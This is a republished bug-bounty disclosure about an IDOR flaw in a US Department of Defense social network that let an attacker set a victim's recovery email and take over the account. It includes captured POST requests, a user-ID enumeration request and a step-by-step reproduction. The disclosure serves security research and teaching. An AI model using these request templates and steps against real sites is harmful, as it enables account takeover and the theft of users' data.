Skip to content
IDOR Disclosed report Intermediate

Full Account Take-Over of ████████ Members via IDOR

An IDOR flaw in the profile update endpoint allowed an attacker to change the recovery email of any member who had not yet set or verified one. The attacker could then trigger a password reset to their own email and take over the victim's account.

r00tpgp Follow

Originally disclosed on HackerOne

  • Triaged in 45 hours
  • Fixed in 10 days
  • Disclosed after 33 days

##Summary https://███████ is a Social Network Site belonging to US DoD. Membership is open to anyone, I have found a method to fully take-over any members' account by exploiting an IDOR bug in the ██████████ end-point. By changing the following values in the POST request to the affected end-point:

userName originalEmail Email RecoveryEmail

I am able to add Recovery Email address of my choice, thus, enabling me to send a password reset link to my attacker controlled email address. I have uploaded a video PoC to demo my finding. Note that the following test accounts were used:

###Attacker login: ████████

###Victim login: ███████

I added ████ email into the victim account. Note that this only works on victims that have no recovery email address defined or recovery email that are not yet verified. This technique will NOT work on victims' that already have a confirmed recovery email address.

Also note, that I am using multi-containers plugin for Firefox, therefore, each tab represents separate browser session. Finally, note that in my PoC video, I had to insert the victim recovery email link ████████/self?guid=█████████ into the attackers' session because a valid session is required to validate the email. The session does not necessary have to belong to the victims' session to validate.

The IDOR bug can be obtained by intercepting the 2-FA Authentication switch:

███

Vulnerable End-Point

Here is the vulnerable POST request when captured, the cookies and __RequestVerificationToken must be valid for this attack to work, I have ==highlighted== the vulnerable IDOR parameters:

POST /self HTTP/1.1 Host: █████████ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://███/self Content-Type: application/x-www-form-urlencoded Content-Length: 739 Connection: close Cookie: ███████-Http-Session=███; _ga=█████; _gid=███; AWSALB=█████; AWSALBCORS=████; ASP.NET_SessionId=██████████; BIGipServerSync_Onlypassport_pool=█████; akaalb_albcustom=█████████████def~id=██████████; AWSALB=███; AWSALBCORS=██████; googtrans=/en/en; googtrans=/en/en; UserName=███████████; CAMS_SID_MYCAMSCLUSTER_SYSTEM=MyCamsCluster-MyCamsServer1-system-███; gat███Tracker=1; RequestVerificationToken_Lw=█████ Upgrade-Insecure-Requests: 1

__RequestVerificationToken=█████████&==userName=████&originalEmail=████████%40gmail.com&oldPassword=&EmailSent=False&RecoveryEmailSent=true&RecoveryEmailVerified=true&SecurityImagePath=&Translate=en&COIGroupID=&Username=█████████&Email=██████████%40gmail.com&ConfirmEmail=&RecoveryEmail=██████████&ConfirmRecoveryEmail=&NewPassword=&ConfirmPassword=&TwoFactorAuthenticationEnabled=false&Password=&Password=&Password=&Password=&Password===

Impact

An attacker can add his email address into the recovery field of any █████████ member that has not yet defined or verified a Recovery Email address. He will then be able to force a password reset link to be sent to his email address and change the victims' password and login into victims' account. Attacker now has full control of victims' account.

Also, victim login id is easily retrievable from this end point. By running the RequesteeId using any valid user session, attacker is able to retrieve the ProfileUrl containing the victims' login id.

##Request

POST /api.ashx/v2/users/████/friends.json HTTP/1.1 Host: █████████ User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:74.0) Gecko/20100101 Firefox/74.0 Accept: application/json, text/javascript, /; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Authorization-Code: █████████ Rest-Authorization-Code: █████████ X-Requested-With: XMLHttpRequest Content-Length: 35 Origin: https://████ Connection: close Referer: https://████/members/███/ Cookie: _ga=███████; _gid=██████████; AWSALB=█████████; AWSALBCORS=█████; █████████-Http-Session=█████████; googtrans=/en/en; UserName=█████████,█████; CAMS_SID_MYCAMSCLUSTER_SYSTEM=MyCamsCluster-MyCamsServer1-system-████; akaalb_albcommunity=██████████; AuthorizationCookie=███; BIGipServerSync_Onlycommunity_pool=██████████

==RequesteeId=███████==&RequestMessage=+

##Reply:

{ "Friendship": { "CreatedDate": "2020-04-11T08:22:53.247", "FriendshipState": "Pending", "LastModifiedDate": "2020-04-11T08:22:53.247", "RequestMessage": " ", "RequestorId": ██████, =="RequesteeId": █████,== "User": { "AvatarUrl": "https://████████/cfs-file/__key/system/images/anonymous.gif", "DisplayName": "█████", =="ProfileUrl": "https://████/members/███████",== "Username": "██████████", "CurrentStatus": null, "Id": █████████ }, "Id": ███ }, "Info": [], "Warnings": [], "Errors": [] }

Therefore, attacker just needs to feed the login id into the vulnerable end-point and follow the steps outlined in the PoC video to take over thousands of ██████████ user accounts!

The original report as published on HackerOne, by r00tpgp. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the server trusted the user-supplied userName and email fields in the profile update request without checking that they belonged to the authenticated session.

Impact

An attacker could take full control of any member account that had no confirmed recovery email, though the technique does not work on accounts with an already verified recovery address.

What the attacker needed

A free account on the site; victim has no verified recovery email; valid session cookies and anti-CSRF token

The fix

The report does not state a fix; binding updates to the session user would address it.

How it was found

  1. Log in as the attacker and intercept the request that switches two-factor authentication.
  2. Modify the userName, originalEmail, Email and RecoveryEmail fields to point to the victim and the attacker's email.
  3. Submit the request so the attacker's email is added as the victim's recovery email.
  4. Trigger a password reset for the victim so the link goes to the attacker's email.
  5. Open the recovery link in any valid session to verify the email.
  6. Use the reset link to set a new password and log in as the victim.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

An IDOR (Insecure Direct Object Reference) is when a website lets you change a value in a request to access or modify someone else's data. Here, the profile update form accepted a username and email fields that belonged to another user, so the attacker could set their own recovery email on the victim's account. With that recovery email in place, the normal password reset process sent the reset link to the attacker.

What is IDOR?

One user can read or change another user's data, usually by changing an identifier the server trusts without checking who is asking. One of the most paid bug classes on web programs.

More by r00tpgp

View all

3 more disclosed reports, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Insecure direct object reference (IDOR)

The lesson behind this report.

One user can read or change another user's data, usually by changing an identifier the server trusts without checking who is asking. One of the most paid bug classes on web programs.